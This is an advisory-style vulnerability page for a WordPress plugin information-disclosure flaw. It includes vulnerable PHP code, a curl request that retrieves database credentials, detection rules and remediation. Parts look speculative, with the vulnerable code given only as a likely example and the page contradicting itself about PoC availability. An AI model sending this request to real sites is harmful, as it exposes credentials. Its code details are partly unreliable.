CVE-2025-26911
Executive Summary
CVE-2025-26911 is an Exposure of Sensitive System Information vulnerability in the Bowo System Dashboard plugin for WordPress (version <= 2.8.18). The flaw allows an unauthenticated attacker to access sensitive system information (e.g., server paths, database credentials, or configuration details) due to incorrectly configured access control security levels. The CVSS score is 4.3 (Medium), with an EPSS probability of 0.0%, indicating low active exploitation in the wild. No public proof-of-concept (PoC) or exploit code is available, and the vendor has not released a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for unauthorized modifications. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to information disclosure. No active exploitation has been observed.
Deep Dive & Mechanics
The vulnerability resides in the System Dashboard plugin for WordPress, which exposes sensitive system information via an unauthenticated REST API endpoint or direct file access. The plugin fails to properly enforce access control checks, allowing any unauthenticated user to retrieve data such as:
- Server file paths (e.g.,
ABSPATH,WP_CONTENT_DIR) - Database credentials (if exposed in configuration dumps)
- PHP configuration details (e.g.,
phpinfo()output) - Active plugin and theme lists
The root cause is a missing capability check in the plugin's AJAX handler or REST route registration. For example, a function like get_system_info() may be hooked to wp_ajax_nopriv_* without verifying user permissions.
Vulnerable vs. Patched Code
Vulnerable Code (<= 2.8.18):
add_action('wp_ajax_nopriv_get_system_info', 'get_system_info');
function get_system_info() {
// No capability check
echo json_encode([
'php_version' => phpversion(),
'server_software' => $_SERVER['SERVER_SOFTWARE'],
'document_root' => $_SERVER['DOCUMENT_ROOT'],
'db_name' => DB_NAME,
'db_user' => DB_USER,
'db_password' => DB_PASSWORD,
]);
wp_die();
}
Patched Code (Hypothetical):
add_action('wp_ajax_get_system_info', 'get_system_info');
add_action('wp_ajax_nopriv_get_system_info', 'get_system_info_denied');
function get_system_info() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
// ... rest of the function
}
function get_system_info_denied() {
wp_die('Unauthorized', 403);
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target WordPress site with System Dashboard plugin <= 2.8.18
- No authentication required
Exploitation Steps:
- Identify the vulnerable endpoint (e.g.,
/wp-admin/admin-ajax.php?action=get_system_info). - Send a GET or POST request to the endpoint.
- Parse the JSON response to extract sensitive data.
Example cURL Command:
curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
-d "action=get_system_info"
Expected Output:
{
"php_version": "8.1.0",
"server_software": "Apache/2.4.41",
"document_root": "/var/www/html",
"db_name": "wordpress",
"db_user": "wp_user",
"db_password": "secret123"
}
Blue Team
Detection:
- Monitor for requests to
/wp-admin/admin-ajax.phpwithaction=get_system_infofrom unauthenticated sources. - Look for anomalous outbound data containing database credentials or server paths.
Honeypot:
- Deploy a fake endpoint that logs attacker IPs and returns decoy data.
Indicators of Compromise (IOCs)
- Network:
- HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=get_system_info - Response containing
db_passwordordocument_root
- HTTP POST requests to
- File:
- Unauthorized access to
/wp-content/plugins/system-dashboard/directory
- Unauthorized access to
- Log:
- WordPress debug log entries showing
get_system_infocalls from non-admin IPs
- WordPress debug log entries showing
Detection Engineering
YARA Rule
rule CVE_2025_26911_SystemDashboard_InfoLeak {
meta:
description = "Detects exploitation attempts of CVE-2025-26911 in System Dashboard plugin"
author = "Valters IT"
date = "2025-04-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-26911"
strings:
$s1 = "get_system_info" ascii wide nocase
$s2 = "db_password" ascii wide nocase
$s3 = "document_root" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: CVE-2025-26911 - System Dashboard Information Disclosure
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects unauthenticated requests to the System Dashboard info leak endpoint
author: Valters IT
date: 2025/04/01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: 'action=get_system_info'
sc-status: 200
condition: selection
falsepositives:
- Legitimate admin requests (rare)
level: high
Suricata Rule
alert http any any -> any any (
msg:"CVE-2025-26911 - System Dashboard Information Disclosure Attempt";
flow:to_server;
content:"POST";
http_method;
content:"/wp-admin/admin-ajax.php";
http_uri;
content:"action=get_system_info";
http_client_body;
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Block access to
/wp-admin/admin-ajax.phpfor unauthenticated users via.htaccess:<Files "admin-ajax.php"> Require all denied </Files> - Monitor logs for exploitation attempts.
Long-Term Fix:
- Apply a custom patch to add capability checks (see patched code above).
- Replace the plugin with a secure alternative.
Workaround:
- Use a Web Application Firewall (WAF) rule to block requests containing
action=get_system_infofrom non-admin IPs.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.